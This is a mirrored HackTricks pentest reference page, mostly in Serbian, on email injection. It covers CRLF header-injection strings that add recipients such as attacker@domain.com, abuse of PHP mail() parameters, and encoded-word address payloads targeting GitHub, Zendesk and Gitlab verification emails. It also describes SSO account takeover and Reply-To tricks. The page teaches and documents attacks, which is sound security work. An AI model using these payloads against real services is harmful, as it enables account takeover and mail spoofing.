mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 08:01:00 +00:00
237 lines
12 KiB
Markdown
237 lines
12 KiB
Markdown
# Email Injections
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Koristite [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) da lako izgradite i **automatizujete radne tokove** pokretane od strane **najnaprednijih** alata zajednice.\
|
||
Pribavite pristup danas:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
|
||
|
||
{% hint style="success" %}
|
||
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Podržite HackTricks</summary>
|
||
|
||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Umetnite u poslatu e-poštu
|
||
|
||
### Umetnite Cc i Bcc nakon argumenta pošiljaoca
|
||
```
|
||
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
|
||
```
|
||
Poruka će biti poslata na naloge recipient i recipient1.
|
||
|
||
### Inject argument
|
||
```
|
||
From:sender@domain.com%0ATo:attacker@domain.com
|
||
```
|
||
Poruka će biti poslata originalnom primaocu i nalogu napadača.
|
||
|
||
### Inject Subject argument
|
||
```
|
||
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
|
||
```
|
||
Lažni predmet će biti dodat originalnom predmetu i u nekim slučajevima će ga zameniti. To zavisi od ponašanja usluge e-pošte.
|
||
|
||
### Promenite telo poruke
|
||
|
||
Ubaci dva nova reda, a zatim napiši svoju poruku da bi promenio telo poruke.
|
||
```
|
||
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
|
||
```
|
||
### PHP mail() funkcija eksploatacija
|
||
```bash
|
||
# The function has the following definition:
|
||
|
||
php --rf mail
|
||
|
||
Function [ <internal:standard> function mail ] {
|
||
- Parameters [5] {
|
||
Parameter #0 [ <required> $to ]
|
||
Parameter #1 [ <required> $subject ]
|
||
Parameter #2 [ <required> $message ]
|
||
Parameter #3 [ <optional> $additional_headers ]
|
||
Parameter #4 [ <optional> $additional_parameters ]
|
||
}
|
||
}
|
||
```
|
||
#### Peti parametar ($additional\_parameters)
|
||
|
||
Ovaj deo će se zasnivati na **kako zloupotrebiti ovaj parametar pod pretpostavkom da napadač njime upravlja**.
|
||
|
||
Ovaj parametar će biti dodat u komandnu liniju koju će PHP koristiti za pozivanje binarnog sendmail-a. Međutim, biće sanitizovan funkcijom `escapeshellcmd($additional_parameters)`.
|
||
|
||
Napadač može **ubaciti dodatne parametre za sendmail** u ovom slučaju.
|
||
|
||
#### Razlike u implementaciji /usr/sbin/sendmail
|
||
|
||
**sendmail** interfejs je **obezbeđen od strane MTA email softvera** (Sendmail, Postfix, Exim itd.) instaliranog na sistemu. Iako **osnovna funkcionalnost** (kao što su -t -i -f parametri) ostaje **ista** iz razloga kompatibilnosti, **druge funkcije i parametri** se značajno razlikuju u zavisnosti od instaliranog MTA.
|
||
|
||
Evo nekoliko primera različitih man stranica za sendmail komandu/interfejs:
|
||
|
||
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
|
||
* Postfix MTA: http://www.postfix.org/mailq.1.html
|
||
* Exim MTA: https://linux.die.net/man/8/eximReferences
|
||
|
||
U zavisnosti od **izvora sendmail** binarne datoteke otkrivene su različite opcije za zloupotrebu i **curenje fajlova ili čak izvršavanje proizvoljnih komandi**. Proverite kako u [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||
|
||
## Ubacivanje u ime e-pošte
|
||
|
||
{% hint style="danger" %}
|
||
Imajte na umu da ako uspete da kreirate nalog u servisu sa proizvoljnim imenom domena (kao što su Github, Gitlab, CloudFlare Zero trust...) i verifikujete ga primajući verifikacioni email na vašu adresu, možda ćete moći da pristupite osetljivim mestima kompanije žrtve
|
||
{% endhint %}
|
||
|
||
### Ignorisani delovi e-pošte
|
||
|
||
Simboli: **+, -** i **{}** u retkim slučajevima mogu se koristiti za označavanje i ignorisati od strane većine e-mail servera
|
||
|
||
* Npr. john.doe+intigriti@example.com → john.doe@example.com
|
||
|
||
**Komentari između zagrada ()** na početku ili kraju će takođe biti ignorisani
|
||
|
||
* Npr. john.doe(intigriti)@example.com → john.doe@example.com
|
||
|
||
### Zaobilaženje bele liste
|
||
|
||
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||
|
||
### Citati
|
||
|
||
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||
|
||
### IP adrese
|
||
|
||
Takođe možete koristiti IP adrese kao imena domena između uglastih zagrada:
|
||
|
||
* john.doe@\[127.0.0.1]
|
||
* john.doe@\[IPv6:2001:db8::1]
|
||
|
||
### Kodiranje e-pošte
|
||
|
||
Kao što je objašnjeno u [**ovoj studiji**](https://portswigger.net/research/splitting-the-email-atom), imena e-pošte takođe mogu sadržati kodirane karaktere:
|
||
|
||
* **PHP 256 overflow**: PHP `chr` funkcija će nastaviti dodavati 256 karakteru dok ne postane pozitivan, a zatim izvršiti operaciju `%256`.
|
||
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
|
||
|
||
{% hint style="success" %}
|
||
Cilj ovog trika je da se završi sa injekcijom poput `RCPT TO:<"collab@psres.net>collab"@example.com>`\
|
||
koja će poslati verifikacioni email na drugu email adresu od očekivane (tako da se unese druga email adresa unutar imena e-pošte i prekine sintaksa prilikom slanja email-a)
|
||
{% endhint %}
|
||
|
||
Različita kodiranja:
|
||
```bash
|
||
# Format
|
||
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
|
||
|
||
# =? -> Start of encode
|
||
# utf-8 -> encoding used
|
||
# ? -> separator
|
||
# q -> type of encoding
|
||
# ? -> separator
|
||
# =41=42=43 -> Hex encoded data
|
||
# ?= end of encoding
|
||
|
||
# Other encodings, same example:
|
||
# iso-8859-1
|
||
=?iso-8859-1?q?=61=62=63?=hi@example.com
|
||
# utf-8
|
||
=?utf-8?q?=61=62=63?=hi@example.com
|
||
# utf-7
|
||
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
|
||
# q encoding + utf-7
|
||
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
|
||
# base64
|
||
=?utf-8?b?QUJD?=hi@example.com
|
||
# bas64 + utf-7
|
||
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
|
||
#punycode
|
||
x@xn--svg/-9x6 → x@<svg/
|
||
```
|
||
Payloads:
|
||
|
||
* Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
|
||
* Napomena o kodiranom `@` kao =40, kodiranom `>` kao `=3e` i `null` kao `=00` 
|
||
* Poslaće verifikacioni email na `collab@psres.net`
|
||
* Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
|
||
* Ista trik kao pre, ali dodajući neku običnu navodnu reč na početku i kodiranu navodnu reč `=22` pre kodiranog `@`, a zatim otvarajući i zatvarajući neke navodne reči pre sledećeg emaila da bi se ispravila sintaksa koju koristi Zendesk
|
||
* Poslaće verifikacioni email na `collab@psres.net`
|
||
* Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
|
||
* Napomena o korišćenju donje crte kao razmaka za razdvajanje adrese
|
||
* Poslaće verifikacioni email na `collab@psres.net`
|
||
* Punycode: Korišćenjem Punycode-a bilo je moguće injektovati oznaku `<style` u Joomla i zloupotrebiti je za krađu CSRF tokena putem CSS eksfiltracije.
|
||
|
||
#### Tooling
|
||
|
||
* Postoji **Burp Suite Turbo Intruder skripta** za fuzzing ovih vrsta kombinacija kako bi se pokušao napad na email formate. Skripta već ima potencijalno funkcionalne kombinacije.
|
||
* Takođe je moguće koristiti [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) za kreiranje napada deljenja emaila
|
||
|
||
### Other vulns
|
||
|
||
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
|
||
|
||
## Third party SSO
|
||
|
||
### XSS
|
||
|
||
Neke usluge kao što su **github** ili **salesforce** omogućavaju vam da kreirate **email adresu sa XSS payload-ima**. Ako možete **koristiti ove provajdere za prijavu na druge usluge** i te usluge **ne sanitizuju** ispravno email, mogli biste izazvati **XSS**.
|
||
|
||
### Account-Takeover
|
||
|
||
Ako **SSO usluga** omogućava da **kreirate nalog bez verifikacije date email adrese** (kao što je **salesforce**) i zatim možete koristiti taj nalog za **prijavu na drugu uslugu** koja **veruje** salesforce, mogli biste pristupiti bilo kojem nalogu.\
|
||
_Napomena da salesforce označava da li je data email adresa verifikovana ili ne, ali takođe aplikacija treba uzeti u obzir ovu informaciju._
|
||
|
||
## Reply-To
|
||
|
||
Možete poslati email koristeći _**From: company.com**_ i _**Replay-To: attacker.com**_ i ako se bilo koja **automatska odgovor** pošalje zbog toga što je email poslat **sa** **internog adresa**, **napadač** može biti u mogućnosti da **primi** taj **odgovor**.
|
||
|
||
## Hard Bounce Rate
|
||
|
||
Određene usluge, kao što je AWS, implementiraju prag poznat kao **Hard Bounce Rate**, obično postavljen na 10%. Ovo je kritična metrika, posebno za usluge dostave emaila. Kada se ovaj procenat prekorači, usluga, kao što je AWS-ova usluga emaila, može biti suspendovana ili blokirana.
|
||
|
||
**Hard bounce** se odnosi na **email** koji je vraćen pošiljaocu jer je adresa primaoca nevažeća ili nepostojeća. Ovo se može dogoditi iz raznih razloga, kao što su **email** poslat na nepostojeću adresu, domen koji nije stvaran, ili odbijanje servera primaoca da prihvati **emailove**.
|
||
|
||
U kontekstu AWS-a, ako pošaljete 1000 emailova i 100 od njih rezultira hard bounce-ovima (zbog razloga kao što su nevažeće adrese ili domeni), to bi značilo 10% hard bounce rate. Dostizanje ili prekoračenje ovog procenta može pokrenuti AWS SES (Simple Email Service) da blokira ili suspenduje vaše mogućnosti slanja emaila.
|
||
|
||
Važno je održavati nizak hard bounce rate kako bi se osigurala neprekidna usluga emaila i održala reputacija pošiljaoca. Praćenje i upravljanje kvalitetom email adresa u vašim mailing listama može značajno pomoći u postizanju ovog cilja.
|
||
|
||
Za detaljnije informacije, može se konsultovati AWS-ova zvanična dokumentacija o upravljanju bounce-ovima i pritužbama [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
|
||
|
||
## References
|
||
|
||
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
|
||
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
|
||
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||
Get Access Today:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
|